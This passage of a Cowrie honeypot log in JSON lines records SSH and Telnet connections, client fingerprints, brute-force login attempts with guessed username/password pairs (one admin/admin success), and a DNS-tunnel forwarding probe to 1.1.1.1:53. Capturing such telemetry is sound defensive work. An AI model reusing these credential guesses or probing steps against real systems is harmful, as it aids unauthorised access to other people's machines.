-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:34.710090Z","src_ip":"87.251.64.176","session":"ce5c8a6b9a4e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:34.999921Z","src_ip":"87.251.64.176","session":"ce5c8a6b9a4e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:35.098829Z","session":"ce5c8a6b9a4e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:35.198969Z","src_ip":"87.251.64.176","session":"ce5c8a6b9a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:35.298228Z","src_ip":"87.251.64.176","session":"ce5c8a6b9a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:35.334839Z","src_ip":"62.133.62.83","session":"15a79cde7cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":37726,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a2546f460a1","protocol":"ssh","message":"New connection: 103.98.149.87:37726 (10.17.0.5:22) [session: 4a2546f460a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:36.991567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:37.022598Z","src_ip":"103.98.149.87","session":"4a2546f460a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:37.293517Z","src_ip":"103.98.149.87","session":"4a2546f460a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"motul1","message":"login attempt [root/motul1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:38.346056Z","src_ip":"103.98.149.87","session":"4a2546f460a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:39.689000Z","src_ip":"103.98.149.87","session":"4a2546f460a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60232,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fceb0bbf032","protocol":"telnet","message":"New connection: 135.148.14.151:60232 (159.203.135.109:23) [session: 7fceb0bbf032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:46.646799Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32780,"dst_ip":"159.203.135.109","dst_port":23,"session":"12ff28224c70","protocol":"telnet","message":"New connection: 135.148.14.151:32780 (159.203.135.109:23) [session: 12ff28224c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:49.282039Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60518,"dst_ip":"159.203.135.109","dst_port":23,"session":"e777da110641","protocol":"telnet","message":"New connection: 135.148.14.151:60518 (159.203.135.109:23) [session: e777da110641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:54.409943Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33588,"dst_ip":"159.203.135.109","dst_port":23,"session":"01270608d069","protocol":"telnet","message":"New connection: 135.148.14.151:33588 (159.203.135.109:23) [session: 01270608d069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:10:58.507690Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38172,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aab6badcd2e","protocol":"telnet","message":"New connection: 135.148.14.151:38172 (159.203.135.109:23) [session: 0aab6badcd2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:03.160187Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":53472,"dst_ip":"10.17.0.5","dst_port":22,"session":"be50a2c1c0b7","protocol":"ssh","message":"New connection: 202.51.70.20:53472 (10.17.0.5:22) [session: be50a2c1c0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:16.371966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:16.380108Z","src_ip":"202.51.70.20","session":"be50a2c1c0b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:16.641504Z","src_ip":"202.51.70.20","session":"be50a2c1c0b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Apple123","message":"login attempt [root/Apple123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:17.718760Z","src_ip":"202.51.70.20","session":"be50a2c1c0b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:18.985633Z","src_ip":"202.51.70.20","session":"be50a2c1c0b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.923590660095215,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:21.333393Z","src_ip":"135.148.14.151","session":"e777da110641","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.421581983566284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:22.068294Z","src_ip":"135.148.14.151","session":"7fceb0bbf032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.05462455749512,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:26.336520Z","src_ip":"135.148.14.151","session":"12ff28224c70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.468034982681274,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:35.628063Z","src_ip":"135.148.14.151","session":"0aab6badcd2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.602219104766846,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:39.109788Z","src_ip":"135.148.14.151","session":"01270608d069","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56464,"dst_ip":"159.203.135.109","dst_port":23,"session":"d619c0f21c71","protocol":"telnet","message":"New connection: 135.148.14.151:56464 (159.203.135.109:23) [session: d619c0f21c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:11:39.192246Z"}
{"eventid":"cowrie.session.closed","duration":92.34956383705139,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:03.531066Z","src_ip":"135.148.14.151","session":"abe652bf15c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.189948320388794,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:16.382036Z","src_ip":"135.148.14.151","session":"d619c0f21c71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52088,"dst_ip":"159.203.135.109","dst_port":23,"session":"0af53669a989","protocol":"telnet","message":"New connection: 135.148.14.151:52088 (159.203.135.109:23) [session: 0af53669a989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:29.965382Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":60912,"dst_ip":"10.17.0.5","dst_port":22,"session":"d04249570102","protocol":"ssh","message":"New connection: 80.66.85.226:60912 (10.17.0.5:22) [session: d04249570102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:32.004113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:32.009617Z","src_ip":"80.66.85.226","session":"d04249570102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:32.117317Z","src_ip":"80.66.85.226","session":"d04249570102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rrrrrrr","message":"login attempt [root/rrrrrrr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:32.387453Z","src_ip":"80.66.85.226","session":"d04249570102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:33.480956Z","src_ip":"80.66.85.226","session":"d04249570102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53856,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa4675e85abd","protocol":"telnet","message":"New connection: 135.148.14.151:53856 (159.203.135.109:23) [session: aa4675e85abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:37.525234Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":36492,"dst_ip":"10.17.0.5","dst_port":22,"session":"66faedd204f4","protocol":"ssh","message":"New connection: 202.51.70.20:36492 (10.17.0.5:22) [session: 66faedd204f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:48.445137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:48.450361Z","src_ip":"202.51.70.20","session":"66faedd204f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:48.715884Z","src_ip":"202.51.70.20","session":"66faedd204f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefan","password":"stefan123","message":"login attempt [stefan/stefan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:49.792209Z","src_ip":"202.51.70.20","session":"66faedd204f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:12:51.061441Z","src_ip":"202.51.70.20","session":"66faedd204f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":39878,"dst_ip":"159.203.135.109","dst_port":22,"session":"0218dcc83bb1","protocol":"ssh","message":"New connection: 103.77.242.62:39878 (159.203.135.109:22) [session: 0218dcc83bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:03.589534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:03.594732Z","src_ip":"103.77.242.62","session":"0218dcc83bb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:03.848610Z","src_ip":"103.77.242.62","session":"0218dcc83bb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liverpoo","message":"login attempt [root/liverpoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:04.594396Z","src_ip":"103.77.242.62","session":"0218dcc83bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.46788740158081,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:05.433166Z","src_ip":"135.148.14.151","session":"0af53669a989","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:05.844686Z","src_ip":"103.77.242.62","session":"0218dcc83bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.75838303565979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:09.283487Z","src_ip":"135.148.14.151","session":"aa4675e85abd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41114,"dst_ip":"159.203.135.109","dst_port":23,"session":"995edb92d09f","protocol":"telnet","message":"New connection: 135.148.14.151:41114 (159.203.135.109:23) [session: 995edb92d09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:10.866191Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43262,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce5b0e90e85d","protocol":"telnet","message":"New connection: 135.148.14.151:43262 (159.203.135.109:23) [session: ce5b0e90e85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:14.776044Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46030,"dst_ip":"159.203.135.109","dst_port":23,"session":"75f104e087d3","protocol":"telnet","message":"New connection: 135.148.14.151:46030 (159.203.135.109:23) [session: 75f104e087d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:24.180596Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":36668,"dst_ip":"10.17.0.5","dst_port":22,"session":"74b34287b32a","protocol":"ssh","message":"New connection: 194.59.206.2:36668 (10.17.0.5:22) [session: 74b34287b32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:25.621652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:25.626422Z","src_ip":"194.59.206.2","session":"74b34287b32a","protocol":"ssh"}
